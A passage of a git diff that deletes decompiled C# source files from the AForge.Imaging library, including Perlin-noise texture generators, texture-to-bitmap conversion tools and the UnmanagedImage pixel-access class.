1.0); - - private Random rand = new Random(); - - private int r; - - public LabyrinthTexture() - { - Reset(); - } - - public float[,] Generate(int width, int height) - { - float[,] array = new float[height, width]; - for (int i = 0; i < height; i++) - { - for (int j = 0; j < width; j++) - { - array[i, j] = System.Math.Min(1f, (float)System.Math.Abs(noise.Function2D(j + r, i + r))); - } - } - return array; - } - - public void Reset() - { - r = rand.Next(5000); - } -} diff --git a/output/Libraries/AForge.Imaging/AForge/Imaging/Textures/MarbleTexture.cs b/output/Libraries/AForge.Imaging/AForge/Imaging/Textures/MarbleTexture.cs deleted file mode 100644 index bc6c688..0000000 --- a/output/Libraries/AForge.Imaging/AForge/Imaging/Textures/MarbleTexture.cs +++ /dev/null @@ -1,73 +0,0 @@ -using System; -using AForge.Math; - -namespace AForge.Imaging.Textures; - -public class MarbleTexture : ITextureGenerator -{ - private PerlinNoise noise = new PerlinNoise(2, 0.65, 1.0 / 32.0, 1.0); - - private Random rand = new Random(); - - private int r; - - private double xPeriod = 5.0; - - private double yPeriod = 10.0; - - public double XPeriod - { - get - { - return xPeriod; - } - set - { - xPeriod = System.Math.Max(2.0, value); - } - } - - public double YPeriod - { - get - { - return yPeriod; - } - set - { - yPeriod = System.Math.Max(2.0, value); - } - } - - public MarbleTexture() - { - Reset(); - } - - public MarbleTexture(double xPeriod, double yPeriod) - { - this.xPeriod = xPeriod; - this.yPeriod = yPeriod; - Reset(); - } - - public float[,] Generate(int width, int height) - { - float[,] array = new float[height, width]; - double num = xPeriod / (double)width; - double num2 = yPeriod / (double)height; - for (int i = 0; i < height; i++) - { - for (int j = 0; j < width; j++) - { - array[i, j] = System.Math.Min(1f, (float)System.Math.Abs(System.Math.Sin(((double)j * num + (double)i * num2 + noise.Function2D(j + r, i + r)) * System.Math.PI))); - } - } - return array; - } - - public void Reset() - { - r = rand.Next(5000); - } -} diff --git a/output/Libraries/AForge.Imaging/AForge/Imaging/Textures/TextileTexture.cs b/output/Libraries/AForge.Imaging/AForge/Imaging/Textures/TextileTexture.cs deleted file mode 100644 index 7e7e160..0000000 --- a/output/Libraries/AForge.Imaging/AForge/Imaging/Textures/TextileTexture.cs +++ /dev/null @@ -1,36 +0,0 @@ -using System; -using AForge.Math; - -namespace AForge.Imaging.Textures; - -public class TextileTexture : ITextureGenerator -{ - private PerlinNoise noise = new PerlinNoise(3, 0.65, 0.125, 1.0); - - private Random rand = new Random(); - - private int r; - - public TextileTexture() - { - Reset(); - } - - public float[,] Generate(int width, int height) - { - float[,] array = new float[height, width]; - for (int i = 0; i < height; i++) - { - for (int j = 0; j < width; j++) - { - array[i, j] = System.Math.Max(0f, System.Math.Min(1f, ((float)System.Math.Sin((double)j + noise.Function2D(j + r, i + r)) + (float)System.Math.Sin((double)i + noise.Function2D(j + r, i + r))) * 0.25f + 0.5f)); - } - } - return array; - } - - public void Reset() - { - r = rand.Next(5000); - } -} diff --git a/output/Libraries/AForge.Imaging/AForge/Imaging/Textures/TextureTools.cs b/output/Libraries/AForge.Imaging/AForge/Imaging/Textures/TextureTools.cs deleted file mode 100644 index a66857a..0000000 --- a/output/Libraries/AForge.Imaging/AForge/Imaging/Textures/TextureTools.cs +++ /dev/null @@ -1,75 +0,0 @@ -using System.Drawing; -using System.Drawing.Imaging; - -namespace AForge.Imaging.Textures; - -public class TextureTools -{ - private TextureTools() - { - } - - public unsafe static Bitmap ToBitmap(float[,] texture) - { - int length = texture.GetLength(1); - int length2 = texture.GetLength(0); - Bitmap val = Image.CreateGrayscaleImage(length, length2); - BitmapData val2 = val.LockBits(new Rectangle(0, 0, length, length2), (ImageLockMode)3, (PixelFormat)198659); - byte* ptr = (byte*)val2.Scan0.ToPointer(); - int num = val2.Stride - length; - for (int i = 0; i < length2; i++) - { - int num2 = 0; - while (num2 < length) - { - *ptr = (byte)(texture[i, num2] * 255f); - num2++; - ptr++; - } - ptr += num; - } - val.UnlockBits(val2); - return val; - } - - public static float[,] FromBitmap(Bitmap image) - { - //IL_0016: Unknown result type (might be due to invalid IL or missing references) - BitmapData val = image.LockBits(new Rectangle(0, 0, ((Image)image).Width, ((Image)image).Height), (ImageLockMode)1, ((Image)image).PixelFormat); - float[,] result = FromBitmap(val); - image.UnlockBits(val); - return result; - } - - public static float[,] FromBitmap(BitmapData imageData) - { - return FromBitmap(new UnmanagedImage(imageData)); - } - - public unsafe static float[,] FromBitmap(UnmanagedImage image) - { - //IL_0001: Unknown result type (might be due to invalid IL or missing references) - //IL_000b: Invalid comparison between Unknown and I4 - if ((int)image.PixelFormat != 198659) - { - throw new UnsupportedImageFormatException("Only grayscale (8 bpp indexed images) are supported."); - } - int width = image.Width; - int height = image.Height; - float[,] array = new float[height, width]; - byte* ptr = (byte*)image.ImageData.ToPointer(); - int num = image.Stride - width; - for (int i = 0; i < height; i++) - { - int num2 = 0; - while (num2 < width) - { - array[i, num2] = (float)(int)(*ptr) / 255f; - num2++; - ptr++; - } - ptr += num; - } - return array; - } -} diff --git a/output/Libraries/AForge.Imaging/AForge/Imaging/Textures/WoodTexture.cs b/output/Libraries/AForge.Imaging/AForge/Imaging/Textures/WoodTexture.cs deleted file mode 100644 index 6572c5e..0000000 --- a/output/Libraries/AForge.Imaging/AForge/Imaging/Textures/WoodTexture.cs +++ /dev/null @@ -1,60 +0,0 @@ -using System; -using AForge.Math; - -namespace AForge.Imaging.Textures; - -public class WoodTexture : ITextureGenerator -{ - private PerlinNoise noise = new PerlinNoise(8, 0.5, 1.0 / 32.0, 0.05); - - private Random rand = new Random(); - - private int r; - - private double rings = 12.0; - - public double Rings - { - get - { - return rings; - } - set - { - rings = System.Math.Max(3.0, value); - } - } - - public WoodTexture() - { - Reset(); - } - - public WoodTexture(double rings) - { - this.rings = rings; - Reset(); - } - - public float[,] Generate(int width, int height) - { - float[,] array = new float[height, width]; - int num = width / 2; - int num2 = height / 2; - for (int i = 0; i < height; i++) - { - for (int j = 0; j < width; j++) - { - double num3 = (double)(j - num) / (double)width; - double num4 = (double)(i - num2) / (double)height; - array[i, j] = System.Math.Min(1f, (float)System.Math.Abs(System.Math.Sin((System.Math.Sqrt(num3 * num3 + num4 * num4) + noise.Function2D(j + r, i + r)) * System.Math.PI * 2.0 * rings))); - } - } - return array; - } - - public void Reset() - { - r = rand.Next(5000); - } -} diff --git a/output/Libraries/AForge.Imaging/AForge/Imaging/UnmanagedImage.cs b/output/Libraries/AForge.Imaging/AForge/Imaging/UnmanagedImage.cs deleted file mode 100644 index 8d48064..0000000 --- a/output/Libraries/AForge.Imaging/AForge/Imaging/UnmanagedImage.cs +++ /dev/null @@ -1,795 +0,0 @@ -using System; -using System.Collections.Generic; -using System.Drawing; -using System.Drawing.Imaging; -using System.Runtime.InteropServices; - -namespace AForge.Imaging; - -public class UnmanagedImage : IDisposable -{ - private IntPtr imageData; - - private int width; - - private int height; - - private int stride; - - private PixelFormat pixelFormat; - - private bool mustBeDisposed; - - public IntPtr ImageData => imageData; - - public int Width => width; - - public int Height => height; - - public int Stride => stride; - - public PixelFormat PixelFormat => pixelFormat; - - public UnmanagedImage(IntPtr imageData, int width, int height, int stride, PixelFormat pixelFormat) - { - //IL_0024: Unknown result type (might be due to invalid IL or missing references) - //IL_0026: Unknown result type (might be due to invalid IL or missing references) - this.imageData = imageData; - this.width = width; - this.height = height; - this.stride = stride; - this.pixelFormat = pixelFormat; - } - - public UnmanagedImage(BitmapData bitmapData) - { - //IL_0038: Unknown result type (might be due to invalid IL or missing references) - //IL_003d: Unknown result type (might be due to invalid IL or missing references) - imageData = bitmapData.Scan0; - width = bitmapData.Width; - height = bitmapData.Height; - stride = bitmapData.Stride; - pixelFormat = bitmapData.PixelFormat; - } - - ~UnmanagedImage() - { - Dispose(disposing: false); - } - - public void Dispose() - { - Dispose(disposing: true); - GC.SuppressFinalize(this); - } - - protected virtual void Dispose(bool disposing) - { - if (mustBeDisposed && imageData != IntPtr.Zero) - { - Marshal.FreeHGlobal(imageData); - GC.RemoveMemoryPressure(stride * height); - imageData = IntPtr.Zero; - } - } - - public UnmanagedImage Clone() - { - //IL_003a: Unknown result type (might be due to invalid IL or missing references) - IntPtr dst = Marshal.AllocHGlobal(stride * height); - GC.AddMemoryPressure(stride * height); - UnmanagedImage unmanagedImage = new UnmanagedImage(dst, width, height, stride, pixelFormat); - unmanagedImage.mustBeDisposed = true; - SystemTools.CopyUnmanagedMemory(dst, imageData, stride * height); - return unmanagedImage; - } - - public unsafe void Copy(UnmanagedImage destImage) - { - //IL_001d: Unknown result type (might be due to invalid IL or missing references) - //IL_0023: Unknown result type (might be due to invalid IL or missing references) - if (width != destImage.width || height != destImage.height || pixelFormat != destImage.pixelFormat) - { - throw new InvalidImagePropertiesException("Destination image has different size or pixel format."); - } - if (stride == destImage.stride) - { - SystemTools.CopyUnmanagedMemory(destImage.imageData, imageData, stride * height); - return; - } - int num = destImage.stride; - int count = ((stride < num) ? stride : num); - byte* ptr = (byte*)imageData.ToPointer(); - byte* ptr2 = (byte*)destImage.imageData.ToPointer(); - for (int i = 0; i < height; i++) - { - SystemTools.CopyUnmanagedMemory(ptr2, ptr, count); - ptr2 += num; - ptr += stride; - } - } - - public static UnmanagedImage Create(int width, int height, PixelFormat pixelFormat) - { - //IL_0002: Unknown result type (might be due to invalid IL or missing references) - //IL_0003: Unknown result type (might be due to invalid IL or missing references) - //IL_0005: Unknown result type (might be due to invalid IL or missing references) - //IL_000c: Invalid comparison between Unknown and I4 - //IL_003f: Unknown result type (might be due to invalid IL or missing references) - //IL_0046: Invalid comparison between Unknown and I4 - //IL_000e: Unknown result type (might be due to invalid IL or missing references) - //IL_0015: Invalid comparison between Unknown and I4 - //IL_005c: Unknown result type (might be due to invalid IL or missing references) - //IL_0063: Invalid comparison between Unknown and I4 - //IL_0048: Unknown result type (might be due to invalid IL or missing references) - //IL_004f: Invalid comparison between Unknown and I4 - //IL_002b: Unknown result type (might be due to invalid IL or missing references) - //IL_0032: Invalid comparison between Unknown and I4 - //IL_0017: Unknown result type (might be due to invalid IL or missing references) - //IL_001e: Invalid comparison between Unknown and I4 - //IL_0065: Unknown result type (might be due to invalid IL or missing references) - //IL_006c: Invalid comparison between Unknown and I4 - //IL_0051: Unknown result type (might be due to invalid IL or missing references) - //IL_0058: Invalid comparison between Unknown and I4 - //IL_0034: Unknown result type (might be due to invalid IL or missing references) - //IL_003b: Invalid comparison between Unknown and I4 - //IL_0020: Unknown result type (might be due to invalid IL or missing references) - //IL_0027: Invalid comparison between Unknown and I4 - //IL_006e: Unknown result type (might be due to invalid IL or missing references) - //IL_0075: Invalid comparison between Unknown and I4 - //IL_00e1: Unknown result type (might be due to invalid IL or missing references) - int num = 0; - if ((int)pixelFormat <= 925707) - { - if ((int)pixelFormat <= 139273) - { - if ((int)pixelFormat != 137224) - { - if ((int)pixelFormat == 139273) - { - goto IL_0085; - } - goto IL_0091; - } - num = 3; - } - else - { - if ((int)pixelFormat != 198659) - { - if ((int)pixelFormat == 925707) - { - goto IL_0085; - } - goto IL_0091; - } - num = 1; - } - } - else if ((int)pixelFormat <= 1060876) - { - if ((int)pixelFormat != 1052676) - { - if ((int)pixelFormat != 1060876) - { - goto IL_0091; - } - num = 6; - } - else - { - num = 2; - } - } - else - { - if ((int)pixelFormat != 1851406) - { - if ((int)pixelFormat == 2498570) - { - goto IL_0085; - } - if ((int)pixelFormat != 3424269) - { - goto IL_0091; - } - } - num = 8; - } - goto IL_009c; - IL_0085: - num = 4; - goto IL_009c; - IL_0091: - throw new UnsupportedImageFormatException("Can not create image with specified pixel format."); - IL_009c: - if (width <= 0 || height <= 0) - { - throw new InvalidImagePropertiesException("Invalid image size specified."); - } - int num2 = width * num; - if (num2 % 4 != 0) - { - num2 += 4 - num2 % 4; - } - IntPtr dst = Marshal.AllocHGlobal(num2 * height); - SystemTools.SetUnmanagedMemory(dst, 0, num2 * height); - GC.AddMemoryPressure(num2 * height); - UnmanagedImage unmanagedImage = new UnmanagedImage(dst, width, height, num2, pixelFormat); - unmanagedImage.mustBeDisposed = true; - return unmanagedImage; - } - - public Bitmap ToManagedImage() - { - return ToManagedImage(makeCopy: true); - } - - public unsafe Bitmap ToManagedImage(bool makeCopy) - { - //IL_0045: Unknown result type (might be due to invalid IL or missing references) - //IL_004f: Invalid comparison between Unknown and I4 - //IL_0018: Unknown result type (might be due to invalid IL or missing references) - //IL_0023: Unknown result type (might be due to invalid IL or missing references) - //IL_0029: Expected O, but got Unknown - //IL_002a: Unknown result type (might be due to invalid IL or missing references) - //IL_0034: Invalid comparison between Unknown and I4 - //IL_005e: Unknown result type (might be due to invalid IL or missing references) - //IL_0063: Unknown result type (might be due to invalid IL or missing references) - //IL_0092: Unknown result type (might be due to invalid IL or missing references) - Bitmap val = null; - try - { - if (!makeCopy) - { - val = new Bitmap(width, height, stride, pixelFormat, imageData); - if ((int)pixelFormat == 198659) - { - Image.SetGrayscalePalette(val); - } - } - else - { - val = (Bitmap)(((int)pixelFormat == 198659) ? ((object)Image.CreateGrayscaleImage(width, height)) : ((object)new Bitmap(width, height, pixelFormat))); - BitmapData val2 = val.LockBits(new Rectangle(0, 0, width, height), (ImageLockMode)3, pixelFormat); - int num = val2.Stride; - int count = System.Math.Min(stride, num); - byte* ptr = (byte*)val2.Scan0.ToPointer(); - byte* ptr2 = (byte*)imageData.ToPointer(); - if (stride != num) - { - for (int i = 0; i < height; i++) - { - SystemTools.CopyUnmanagedMemory(ptr, ptr2, count); - ptr += num; - ptr2 += stride; - } - } - else - { - SystemTools.CopyUnmanagedMemory(ptr, ptr2, stride * height); - } - val.UnlockBits(val2); - } - return val; - } - catch (Exception) - { - if (val != null) - { - ((Image)val).Dispose(); - } - throw new InvalidImagePropertiesException("The unmanaged image has some invalid properties, which results in failure of converting it to managed image."); - } - } - - public static UnmanagedImage FromManagedImage(Bitmap image) - { - //IL_0018: Unknown result type (might be due to invalid IL or missing references) - UnmanagedImage unmanagedImage = null; - BitmapData val = image.LockBits(new Rectangle(0, 0, ((Image)image).Width, ((Image)image).Height), (ImageLockMode)1, ((Image)image).PixelFormat); - try - { - return FromManagedImage(val); - } - finally - { - image.UnlockBits(val); - } - } - - public static UnmanagedImage FromManagedImage(BitmapData imageData) - { - //IL_0001: Unknown result type (might be due to invalid IL or missing references) - //IL_0006: Unknown result type (might be due to invalid IL or missing references) - //IL_0007: Unknown result type (might be due to invalid IL or missing references) - //IL_000d: Invalid comparison between Unknown and I4 - //IL_0093: Unknown result type (might be due to invalid IL or missing references) - //IL_000f: Unknown result type (might be due to invalid IL or missing references) - //IL_0015: Invalid comparison between Unknown and I4 - //IL_0017: Unknown result type (might be due to invalid IL or missing references) - //IL_001d: Invalid comparison between Unknown and I4 - //IL_001f: Unknown result type (might be due to invalid IL or missing references) - //IL_0025: Invalid comparison between Unknown and I4 - //IL_0027: Unknown result type (might be due to invalid IL or missing references) - //IL_002d: Invalid comparison between Unknown and I4 - //IL_002f: Unknown result type (might be due to invalid IL or missing references) - //IL_0035: Invalid comparison between Unknown and I4 - //IL_0037: Unknown result type (might be due to invalid IL or missing references) - //IL_003d: Invalid comparison between Unknown and I4 - //IL_003f: Unknown result type (might be due to invalid IL or missing references) - //IL_0045: Invalid comparison between Unknown and I4 - //IL_0047: Unknown result type (might be due to invalid IL or missing references) - //IL_004d: Invalid comparison between Unknown and I4 - PixelFormat val = imageData.PixelFormat; - if ((int)val != 198659 && (int)val != 1052676 && (int)val != 137224 && (int)val != 139273 && (int)val != 2498570 && (int)val != 925707 && (int)val != 1060876 && (int)val != 3424269 && (int)val != 1851406) - { - throw new UnsupportedImageFormatException("Unsupported pixel format of the source image."); - } - IntPtr dst = Marshal.AllocHGlobal(imageData.Stride * imageData.Height); - GC.AddMemoryPressure(imageData.Stride * imageData.Height); - UnmanagedImage unmanagedImage = new UnmanagedImage(dst, imageData.Width, imageData.Height, imageData.Stride, val); - SystemTools.CopyUnmanagedMemory(dst, imageData.Scan0, imageData.Stride * imageData.Height); - unmanagedImage.mustBeDisposed = true; - return unmanagedImage; - } - - public unsafe byte[] Collect8bppPixelValues(List points) - { - //IL_0001: Unknown result type (might be due to invalid IL or missing references) - //IL_000f: Unknown result type (might be due to invalid IL or missing references) - //IL_0019: Invalid comparison between Unknown and I4 - //IL_0031: Unknown result type (might be due to invalid IL or missing references) - //IL_003b: Invalid comparison between Unknown and I4 - //IL_0055: Unknown result type (might be due to invalid IL or missing references) - //IL_005f: Invalid comparison between Unknown and I4 - int num = Image.GetPixelFormatSize(pixelFormat) / 8; - if ((int)pixelFormat == 1052676 || num > 4) - { - throw new UnsupportedImageFormatException("Unsupported pixel format of the source image. Use Collect16bppPixelValues() method for it."); - } - byte[] array = new byte[points.Count * (((int)pixelFormat == 198659) ? 1 : 3)]; - byte* ptr = (byte*)imageData.ToPointer(); - if ((int)pixelFormat == 198659) - { - int num2 = 0; - foreach (IntPoint point in points) - { - byte* ptr2 = ptr + (nint)stride * (nint)point.Y + point.X; - array[num2++] = *ptr2; - } - } - else - { - int num3 = 0; - foreach (IntPoint point2 in points) - { - byte* ptr2 = ptr + (nint)stride * (nint)point2.Y + (nint)point2.X * (nint)num; - array[num3++] = ptr2[2]; - array[num3++] = ptr2[1]; - array[num3++] = *ptr2; - } - } - return array; - } - - public List CollectActivePixels() - { - return CollectActivePixels(new Rectangle(0, 0, width, height)); - } - - public unsafe List CollectActivePixels(Rectangle rect) - { - //IL_0007: Unknown result type (might be due to invalid IL or missing references) - //IL_005e: Unknown result type (might be due to invalid IL or missing references) - //IL_0068: Invalid comparison between Unknown and I4 - List list = new List(); - int num = Image.GetPixelFormatSize(pixelFormat) / 8; - rect.Intersect(new Rectangle(0, 0, width, height)); - int x = rect.X; - int y = rect.Y; - int right = rect.Right; - int bottom = rect.Bottom; - byte* ptr = (byte*)imageData.ToPointer(); - if ((int)pixelFormat == 1052676 || num > 4) - { - int num2 = num >> 1; - for (int i = y; i < bottom; i++) - { - ushort* ptr2 = (ushort*)(ptr + (nint)i * (nint)stride + (nint)x * (nint)num); - if (num2 == 1) - { - int num3 = x; - while (num3 < right) - { - if (*ptr2 != 0) - { - list.Add(new IntPoint(num3, i)); - } - num3++; - ptr2++; - } - continue; - } - int num4 = x; - while (num4 < right) - { - if (ptr2[2] != 0 || ptr2[1] != 0 || *ptr2 != 0) - { - list.Add(new IntPoint(num4, i)); - } - num4++; - ptr2 += num2; - } - } - } - else - { - for (int j = y; j < bottom; j++) - { - byte* ptr3 = ptr + (nint)j * (nint)stride + (nint)x * (nint)num; - if (num == 1) - { - int num5 = x; - while (num5 < right) - { - if (*ptr3 != 0) - { - list.Add(new IntPoint(num5, j)); - } - num5++; - ptr3++; - } - continue; - } - int num6 = x; - while (num6 < right) - { - if (ptr3[2] != 0 || ptr3[1] != 0 || *ptr3 != 0) - { - list.Add(new IntPoint(num6, j)); - } - num6++; - ptr3 += num; - } - } - } - return list; - } - - public unsafe void SetPixels(List coordinates, Color color) - { - //IL_0001: Unknown result type (might be due to invalid IL or missing references) - //IL_003d: Unknown result type (might be due to invalid IL or missing references) - //IL_0042: Unknown result type (might be due to invalid IL or missing references) - //IL_0044: Unknown result type (might be due to invalid IL or missing references) - //IL_004b: Invalid comparison between Unknown and I4 - //IL_0073: Unknown result type (might be due to invalid IL or missing references) - //IL_007a: Invalid comparison between Unknown and I4 - //IL_004d: Unknown result type (might be due to invalid IL or missing references) - //IL_0054: Invalid comparison between Unknown and I4 - //IL_0099: Unknown result type (might be due to invalid IL or missing references) - //IL_00a0: Invalid comparison between Unknown and I4 - //IL_007c: Unknown result type (might be due to invalid IL or missing references) - //IL_0083: Invalid comparison between Unknown and I4 - //IL_0059: Unknown result type (might be due to invalid IL or missing references) - //IL_0060: Invalid comparison between Unknown and I4 - //IL_00a5: Unknown result type (might be due to invalid IL or missing references) - //IL_00ac: Invalid comparison between Unknown and I4 - //IL_0088: Unknown result type (might be due to invalid IL or missing references) - //IL_008f: Invalid comparison between Unknown and I4 - //IL_0065: Unknown result type (might be due to invalid IL or missing references) - //IL_006c: Invalid comparison between Unknown and I4 - //IL_049e: Unknown result type (might be due to invalid IL or missing references) - int num = Image.GetPixelFormatSize(pixelFormat) / 8; - byte* ptr = (byte*)imageData.ToPointer(); - byte r = color.R; - byte g = color.G; - byte b = color.B; - byte a = color.A; - PixelFormat val = pixelFormat; - if ((int)val <= 198659) - { - if ((int)val == 137224 || (int)val == 139273) - { - foreach (IntPoint coordinate in coordinates) - { - if (coordinate.X >= 0 && coordinate.Y >= 0 && coordinate.X < width && coordinate.Y < height) - { - byte* ptr2 = ptr + (nint)coordinate.Y * (nint)stride + (nint)coordinate.X * (nint)num; - ptr2[2] = r; - ptr2[1] = g; - *ptr2 = b; - } - } - return; - } - if ((int)val == 198659) - { - byte b2 = (byte)(0.2125 * (double)(int)r + 0.7154 * (double)(int)g + 0.0721 * (double)(int)b); - { - foreach (IntPoint coordinate2 in coordinates) - { - if (coordinate2.X >= 0 && coordinate2.Y >= 0 && coordinate2.X < width && coordinate2.Y < height) - { - byte* ptr3 = ptr + (nint)coordinate2.Y * (nint)stride + coordinate2.X; - *ptr3 = b2; - } - } - return; - } - } - } - else if ((int)val <= 1060876) - { - if ((int)val == 1052676) - { - ushort num2 = (ushort)((ushort)(0.2125 * (double)(int)r + 0.7154 * (double)(int)g + 0.0721 * (double)(int)b) << 8); - { - foreach (IntPoint coordinate3 in coordinates) - { - if (coordinate3.X >= 0 && coordinate3.Y >= 0 && coordinate3.X < width && coordinate3.Y < height) - { - ushort* ptr4 = (ushort*)(ptr + (nint)coordinate3.Y * (nint)stride) + coordinate3.X; - *ptr4 = num2; - } - } - return; - } - } - if ((int)val == 1060876) - { - ushort num3 = (ushort)(r << 8); - ushort num4 = (ushort)(g << 8); - ushort num5 = (ushort)(b << 8); - { - foreach (IntPoint coordinate4 in coordinates) - { - if (coordinate4.X >= 0 && coordinate4.Y >= 0 && coordinate4.X < width && coordinate4.Y < height) - { - ushort* ptr5 = (ushort*)(ptr + (nint)coordinate4.Y * (nint)stride + (nint)coordinate4.X * (nint)num); - ptr5[2] = num3; - ptr5[1] = num4; - *ptr5 = num5; - } - } - return; - } - } - } - else - { - if ((int)val == 2498570) - { - { - foreach (IntPoint coordinate5 in coordinates) - { - if (coordinate5.X >= 0 && coordinate5.Y >= 0 && coordinate5.X < width && coordinate5.Y < height) - { - byte* ptr6 = ptr + (nint)coordinate5.Y * (nint)stride + (nint)coordinate5.X * (nint)num; - ptr6[2] = r; - ptr6[1] = g; - *ptr6 = b; - ptr6[3] = a; - } - } - return; - } - } - if ((int)val == 3424269) - { - ushort num6 = (ushort)(r << 8); - ushort num7 = (ushort)(g << 8); - ushort num8 = (ushort)(b << 8); - ushort num9 = (ushort)(a << 8); - { - foreach (IntPoint coordinate6 in coordinates) - { - if (coordinate6.X >= 0 && coordinate6.Y >= 0 && coordinate6.X < width && coordinate6.Y < height) - { - ushort* ptr7 = (ushort*)(ptr + (nint)coordinate6.Y * (nint)stride + (nint)coordinate6.X * (nint)num); - ptr7[2] = num6; - ptr7[1] = num7; - *ptr7 = num8; - ptr7[3] = num9; - } - } - return; - } - } - } - throw new UnsupportedImageFormatException("The pixel format is not supported: " + pixelFormat); - } - - public void SetPixel(IntPoint point, Color color) - { - SetPixel(point.X, point.Y, color); - } - - public void SetPixel(int x, int y, Color color) - { - SetPixel(x, y, color.R, color.G, color.B, color.A); - } - - public void SetPixel(int x, int y, byte value) - { - SetPixel(x, y, value, value, value, byte.MaxValue); - } - - private unsafe void SetPixel(int x, int y, byte r, byte g, byte b, byte a) - { - //IL_0027: Unknown result type (might be due to invalid IL or missing references) - //IL_0052: Unknown result type (might be due to invalid IL or missing references) - //IL_0057: Unknown result type (might be due to invalid IL or missing references) - //IL_0058: Unknown result type (might be due to invalid IL or missing references) - //IL_005e: Invalid comparison between Unknown and I4 - //IL_007d: Unknown result type (might be due to invalid IL or missing references) - //IL_0083: Invalid comparison between Unknown and I4 - //IL_0060: Unknown result type (might be due to invalid IL or missing references) - //IL_0066: Invalid comparison between Unknown and I4 - //IL_009d: Unknown result type (might be due to invalid IL or missing references) - //IL_00a3: Invalid comparison between Unknown and I4 - //IL_0085: Unknown result type (might be due to invalid IL or missing references) - //IL_008b: Invalid comparison between Unknown and I4 - //IL_0068: Unknown result type (might be due to invalid IL or missing references) - //IL_006e: Invalid comparison between Unknown and I4 - //IL_00a5: Unknown result type (might be due to invalid IL or missing references) - //IL_00ab: Invalid comparison between Unknown and I4 - //IL_008d: Unknown result type (might be due to invalid IL or missing references) - //IL_0093: Invalid comparison between Unknown and I4 - //IL_0070: Unknown result type (might be due to invalid IL or missing references) - //IL_0076: Invalid comparison between Unknown and I4 - //IL_0181: Unknown result type (might be due to invalid IL or missing references) - if (x < 0 || y < 0 || x >= width || y >= height) - { - return; - } - int num = Image.GetPixelFormatSize(pixelFormat) / 8; - byte* ptr = (byte*)imageData.ToPointer() + (nint)y * (nint)stride + (nint)x * (nint)num; - ushort* ptr2 = (ushort*)ptr; - PixelFormat val = pixelFormat; - if ((int)val <= 198659) - { - if ((int)val == 137224 || (int)val == 139273) - { - ptr[2] = r; - ptr[1] = g; - *ptr = b; - return; - } - if ((int)val == 198659) - { - *ptr = (byte)(0.2125 * (double)(int)r + 0.7154 * (double)(int)g + 0.0721 * (double)(int)b); - return; - } - } - else if ((int)val <= 1060876) - { - if ((int)val == 1052676) - { - *ptr2 = (ushort)((ushort)(0.2125 * (double)(int)r + 0.7154 * (double)(int)g + 0.0721 * (double)(int)b) << 8); - return; - } - if ((int)val == 1060876) - { - ptr2[2] = (ushort)(r << 8); - ptr2[1] = (ushort)(g << 8); - *ptr2 = (ushort)(b << 8); - return; - } - } - else - { - if ((int)val == 2498570) - { - ptr[2] = r; - ptr[1] = g; - *ptr = b; - ptr[3] = a; - return; - } - if ((int)val == 3424269) - { - ptr2[2] = (ushort)(r << 8); - ptr2[1] = (ushort)(g << 8); - *ptr2 = (ushort)(b << 8); - ptr2[3] = (ushort)(a << 8); - return; - } - } - throw new UnsupportedImageFormatException("The pixel format is not supported: " + pixelFormat); - } - - public Color GetPixel(IntPoint point) - { - return GetPixel(point.X, point.Y); - } - - public unsafe Color GetPixel(int x, int y) - { - //IL_0043: Unknown result type (might be due to invalid IL or missing references) - //IL_006c: Unknown result type (might be due to invalid IL or missing references) - //IL_0071: Unknown result type (might be due to invalid IL or missing references) - //IL_0072: Unknown result type (might be due to invalid IL or missing references) - //IL_0078: Invalid comparison between Unknown and I4 - //IL_008c: Unknown result type (might be due to invalid IL or missing references) - //IL_0092: Invalid comparison between Unknown and I4 - //IL_007a: Unknown result type (might be due to invalid IL or missing references) - //IL_0080: Invalid comparison between Unknown and I4 - //IL_0094: Unknown result type (might be due to invalid IL or missing references) - //IL_009a: Invalid comparison between Unknown and I4 - //IL_0082: Unknown result type (might be due to invalid IL or missing references) - //IL_0088: Invalid comparison between Unknown and I4 - //IL_00df: Unknown result type (might be due to invalid IL or missing references) - if (x < 0 || y < 0) - { - throw new ArgumentOutOfRangeException("x", "The specified pixel coordinate is out of image's bounds."); - } - if (x >= width || y >= height) - { - throw new ArgumentOutOfRangeException("y", "The specified pixel coordinate is out of image's bounds."); - } - Color color = default(Color); - int num = Image.GetPixelFormatSize(pixelFormat) / 8; - byte* ptr = (byte*)imageData.ToPointer() + (nint)y * (nint)stride + (nint)x * (nint)num; - PixelFormat val = pixelFormat; - if ((int)val <= 139273) - { - if ((int)val == 137224 || (int)val == 139273) - { - return Color.FromArgb(ptr[2], ptr[1], *ptr); - } - } - else - { - if ((int)val == 198659) - { - return Color.FromArgb(*ptr, *ptr, *ptr); - } - if ((int)val == 2498570) - { - return Color.FromArgb(ptr[3], ptr[2], ptr[1], *ptr); - } - } - throw new UnsupportedImageFormatException("The pixel format is not supported: " + pixelFormat); - } - - public unsafe ushort[] Collect16bppPixelValues(List points) - { - //IL_0001: Unknown result type (might be due to invalid IL or missing references) - //IL_000f: Unknown result type (might be due to invalid IL or missing references) - //IL_0019: Invalid comparison between Unknown and I4 - //IL_0035: Unknown result type (might be due to invalid IL or missing references) - //IL_003f: Invalid comparison between Unknown and I4 - //IL_0059: Unknown result type (might be due to invalid IL or missing references) - //IL_0063: Invalid comparison between Unknown and I4 - int num = Image.GetPixelFormatSize(pixelFormat) / 8; - if ((int)pixelFormat == 198659 || num == 3 || num == 4) - { - throw new UnsupportedImageFormatException("Unsupported pixel format of the source image. Use Collect8bppPixelValues() method for it."); - } - ushort[] array = new ushort[points.Count * (((int)pixelFormat == 1052676) ? 1 : 3)]; - byte* ptr = (byte*)imageData.ToPointer(); - if ((int)pixelFormat == 1052676) - { - int num2 = 0; - foreach (IntPoint point in points) - { - ushort* ptr2 = (ushort*)(ptr + (nint)stride * (nint)point.Y + (nint)point.X * (nint)num); - array[num2++] = *ptr2; - } - } - else - { - int num3 = 0; - foreach (IntPoint point2 in points) - { - ushort* ptr2 = (ushort*)(ptr + (nint)stride * (nint)point2.Y + (nint)point2.X * (nint)num); - array[num3++] = ptr2[2]; - array[num3++] = ptr2[1]; - array[num3++] = *ptr2; - } - } - return array; - } -} diff --git a/output/Libraries/AForge.Imaging/AForge/Imaging/UnsupportedImageFormatException.cs b/output/Libraries/AForge.Imaging/AForge/Imaging/UnsupportedImageFormatException.cs deleted file mode 100644 index ef6287c..0000000 --- a/output/Libraries/AForge.Imaging/AForge/Imaging/UnsupportedImageFormatException.cs +++ /dev/null @@ -1,20 +0,0 @@ -using System; - -namespace AForge.Imaging; - -public class UnsupportedImageFormatException : ArgumentException -{ - public UnsupportedImageFormatException() - { - } - - public UnsupportedImageFormatException(string message) - : base(message) - { - } - - public UnsupportedImageFormatException(string message, string paramName) - : base(message, 